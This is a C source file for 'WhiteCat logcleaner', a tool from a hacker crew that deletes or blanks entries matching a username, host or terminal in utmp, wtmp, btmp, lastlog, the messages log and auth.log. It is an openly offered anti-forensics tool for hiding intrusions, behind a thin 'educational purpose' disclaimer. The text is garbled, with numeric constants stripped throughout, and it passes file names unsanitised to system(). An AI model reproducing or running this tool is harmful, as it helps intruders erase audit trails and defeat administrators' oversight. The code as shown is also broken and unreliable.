whitecat.c

WhiteCat log cleaner version 1.0. WhiteCat is designed for any UNIX-like system, but tested only on Linux. Distributed under GPLv2.

/*
 *  This is WhiteCat logcleaner version 1.0 by ShadOS from Hell Knights Crew.
 *  It supports perl compatible regular expressions and cleans any binary and
 *  text log files (just correct source a little). WhiteCat is designed for
 *  any UNIX-like system, but tested only on Linux. Distributed under GPLv2.
 *  Use it only for educational purpose.
 *  Don't forget to visit our site and my homepage for new releases:
 *  <a href="http://hellknights.void.ru<br />
" title="http://hellknights.void.ru<br />
">http://hellknights.void.ru<br />
</a> *  <a href="http://shados.0x48k.cc<br />
" title="http://shados.0x48k.cc<br />
">http://shados.0x48k.cc<br />
</a> *  Also, you can mail me any bugs or suggestions:
 *  <a href="mailto:shados" title="mailto:shados">mailto:shados</a> /\./\ real.xakep.ru
 *  <a href="mailto:shados" title="mailto:shados">mailto:shados</a> /\./\ 0x48k.cc
 *
 *  Copyright (C) 89, 90, 91, 1995-2007 Free Software Foundation.
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2, or (at your option)
 *  any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software Foundation,
 *  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.  
 */

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <utmp.h>
#include <fcntl.h>
#include <sys/types.h>
#include <unistd.h>
#include <pwd.h>
#include <lastlog.h>
#include <string.h>
#include <regex.h>
#include <limits.h> /* for PATH_MAX */
#include <getopt.h>


#ifndef UTMP_FILE
    #define UTMP_FILE "/var/run/utmp"
#endif    
#ifndef WTMP_FILE
    #define WTMP_FILE "/var/log/wtmp"
#endif

//modify parametrs as in your box Wink
#define BTMP_FILE "/var/log/btmp"
#define LASTLOG_FILE "/var/log/lastlog"
#define MESSAGES_FILE "/var/log/messages"
#define SECURE_FILE "/var/log/auth.log"

#define MAXBUFF 8*1024

#define PROGRAM_NAME "WhiteCat logcleaner"
#define PROGRAM_VERSION 1.0
#define AUTHOR "Shad0S [Hell Knights Crew]"

char *myname;                     /* for error messages */
int do_ignorecase = ;            /* -i option: ignore case */
int do_extended   = ;            /* -E option: use extended RE's */
int do_username    = ;
int do_hostname    = ;
int do_tty    = ;
int errors        = ;            /* number of errors */

/* patterns to match */
regex_t username;
regex_t hostname;
regex_t tty;

void copy_tmp(char *dstfilename, char *tmpfilename);
void clear_textlog(char *filename);
void clear_uwbtmp(char *filename);
void clear_lastlog (char *filename);
regex_t compile_pattern(const char *pat);
int process_regexp(regex_t *pattern, char *buf, size_t size);
void usage(void);
void version(void);

int main(int argc, char *argv[])
{
  myname = argv[];
 
  char c;
 
  struct option longopts[]={
  { "user",     required_argument, &do_username,   'u'},
  { "tty",      required_argument, &do_tty,      't'},
  { "hostname", required_argument, &do_hostname,   'a'},
  { "extended", no_argument,       &do_extended,   'e'},
  { "ignore",   no_argument,       &do_ignorecase, 'i'},
  { "help",  no_argument,     NULL,      'h'},
  { "version",  no_argument,     NULL,     'V'},
  { , , , }
  };
 
  if ((argc < 2) || (argc > 18)) {
    version();
    usage();
  }
 
  while ((c=getopt_long(argc,argv,"u:t:a:reihVW;",longopts,NULL)) != -1) {
    switch (c) {
    case 'u':
      username = compile_pattern(optarg);
      if (errors) usage(); //compile failed
      do_username=1;
      break;
    case 't':
      tty = compile_pattern(optarg);
      if (errors) usage(); //compile failed
      do_tty=1;
      break;
    case 'a':
      hostname = compile_pattern(optarg);
      if (errors) usage(); //compile failed
      do_hostname=1;  
      break;
    case 'e':
      do_extended = 1;
      break;  
    case 'i':
      do_ignorecase = 1;
      break;
    case 'h':
      version();
      usage();  
    case 'V':
      version();
      exit();
      break;
    case :
      break;
    case ':':
      fprintf(stderr, "%s: option '-%c' requires an argument\n",
                      myname, optopt);
      usage();          
    case '?':
    default:
      fprintf(stderr, "%s: option '-%c' is invalid: ignored\n",
                      myname, optopt);
      usage();
    }  
  }
 
  //sanity check
  if (!do_username && !do_tty && !do_hostname){
    fprintf(stderr, "%s: didn't found any parametr to clean (username, hostname, tty)!\n",
        myname);
    usage();
  }    

  clear_uwbtmp(UTMP_FILE);
  printf("utmp cleaning \t\t \033[1m[ OK ]\033[0m\n");
  clear_uwbtmp(WTMP_FILE);
  printf("wtmp cleaning \t\t \033[1m[ OK ]\033[0m\n");
  clear_uwbtmp(BTMP_FILE);
  printf("btmp cleaning \t\t \033[1m[ OK ]\033[0m\n");
  clear_lastlog(LASTLOG_FILE);
  printf("lastlog cleaning \t \033[1m[ OK ]\033[0m\n");
  clear_textlog(MESSAGES_FILE);
  printf("messages cleaning \t \033[1m[ OK ]\033[0m\n");
  clear_textlog(SECURE_FILE);
  printf("secure cleaning \t \033[1m[ OK ]\033[0m\n");
 
  return ;
}

/* replace logfile with tempfile */
void copy_tmp(char *dstfilename, char *tmpfilename)
{
  char buffer[BUFSIZ];

  sprintf(buffer, "cat %s > %s", tmpfilename, dstfilename);
  printf("%s\n", buffer);

  if (system(buffer) < ) {
    printf("Error copying from tempfile!");
    exit(-1);
  }

  unlink(tmpfilename);
}


/* cleanup plaintext logfiles */
void clear_textlog(char *filename)
{
  char buftmp[MAXBUFF];
  FILE *fd;
  int fdtmp;
  int found = ;
  static char template[] = "/tmp/tmpfileXXXXXX";
  char ftmpname[PATH_MAX];

  if ( (fd = fopen(filename, "r")) == ) {
    perror(filename);
    exit(-1);
  }

  strcpy(ftmpname, template);
  fdtmp = mkstemp(ftmpname);
 
  while (fgets(buftmp, MAXBUFF, fd) != NULL)
  {
    if (do_hostname) found = process_regexp(&hostname, buftmp, sizeof(buftmp));      
    if (do_username) found = process_regexp(&username, buftmp, sizeof(buftmp));
    if (do_tty) found = process_regexp(&tty, buftmp, sizeof(buftmp));    
    if (!found) write(fdtmp, &buftmp, sizeof(buftmp));
    found = ;
  }

  fclose(fd);
  close(fdtmp);

  copy_tmp(filename, ftmpname);
}


/* cleanup binary log entries */
void clear_uwbtmp(char *filename)
{
  struct utmp entry;
  int fd;
  int fdtmp;
  int found = ;
  static char template[] = "/tmp/tmpfileXXXXXX";
  char ftmpname[PATH_MAX];

  if ( (fd = open(filename, O_RDONLY)) == -1) {
    perror(filename);
    exit(-1);
  }
 
  strcpy(ftmpname, template);
  fdtmp = mkstemp(ftmpname);
 
  while (read(fd, &entry, sizeof(struct utmp)) > )
  {
    if (do_hostname) found = process_regexp(&hostname, entry.ut_host, sizeof(entry.ut_host));
    if (do_username) found = process_regexp(&username, entry.ut_user, sizeof(entry.ut_user));
    if (do_tty) found = process_regexp(&tty, entry.ut_line, sizeof(entry.ut_line));
    if (!found) write(fdtmp, &entry, sizeof(struct utmp));
    found = ;
  }

  close(fd);
  close(fdtmp);
 
  copy_tmp(filename, ftmpname);
}


/* cleanup lastlog binary file with holes */
void clear_lastlog (char *filename)
{
  struct passwd *pwd;
  struct lastlog entry;
  int uid = ;
  int found = ;
  int fd;

  if ( (fd = open(filename, O_RDWR)) < ) {
      perror(filename);
      exit(-1);
  }
 
  /* set position to the beginning of the file */
  lseek(fd, (off_t) , SEEK_SET);
  while (read(fd, &entry, sizeof(struct lastlog)) > )
  {
  if (do_username) {
    if ((pwd = getpwuid(uid))!=NULL)  
      found = process_regexp(&username, pwd->pw_name, sizeof(pwd->pw_name));
    uid++;
  }
        if (do_hostname) found = process_regexp(&hostname, entry.ll_host, sizeof(entry.ll_host));
        if (do_tty) found = process_regexp(&tty, entry.ll_line, sizeof(entry.ll_line));
  if (found)
  {
    lseek(fd, -(off_t)sizeof(struct lastlog), SEEK_CUR);
    //XXX is this 3 lines correct?
    entry.ll_time = ;
    strcpy (entry.ll_line, " ");
    strncpy (entry.ll_host, "     ", 5);
    found = ;
  }
  write (fd, &entry, sizeof(struct lastlog));
             
  }  
  close(fd);
}


/* compile the regex pattern */
regex_t compile_pattern(const char *pat)
{
        int flags = REG_NOSUB;  /* don't need where-matched info */
        int ret;
  regex_t pattern;
#define MSGBUFSIZE      512     /* arbitrary */
        char error[MSGBUFSIZE];

        if (do_ignorecase)
                flags |= REG_ICASE;
        if (do_extended)
                flags |= REG_EXTENDED;

        ret = regcomp(&pattern, pat, flags);
        if (ret != ) {
                (void) regerror(ret, &pattern, error, sizeof error);
                fprintf(stderr, "%s: pattern `%s': %s\n", myname, pat, error);
                errors++;
        }
  else
    return pattern;
}


/* process regular expression */
int process_regexp(regex_t *pattern, char *buf, size_t size)
{
  char error[MSGBUFSIZE];
  int ret;

  if ((ret = regexec(pattern, buf, , NULL, )) != ) {
    if (ret != REG_NOMATCH) {
      (void) regerror(ret, pattern, error, sizeof error);
      fprintf(stderr, "%s: %s\n", myname, error);
      errors++;
      return ;
    }
    return ;
  }
  else
    return 1;  
}


/* print usage message and exit with 0x48k status */
void usage(void)
{
    printf("Usage:\n");
    printf("\t %s [-u user] [-t tty] [-a hostname|ipaddr] [OPTIONS]\n", myname);
    printf("OPTIONS:\n");
    printf("\t -i --ignore \t ignore case in regexps\n");
    printf("\t -e --extended \t use extended regexps\n");
    printf("\t -V --version \t show version info and exit\n");
    printf("\t -h --help \t show this help screen and exit\n");
    printf("\n");
    exit(0x48);
}

/* print version information */
void version(void)
{
    fprintf(stdout, "\t ================================================================\n");
    fprintf(stdout, "\t = \033[1m%s %1.1f by %s, 2007.\033[0m =\n", PROGRAM_NAME, PROGRAM_VERSION, AUTHOR);
    fprintf(stdout, "\t ================================================================\n");
}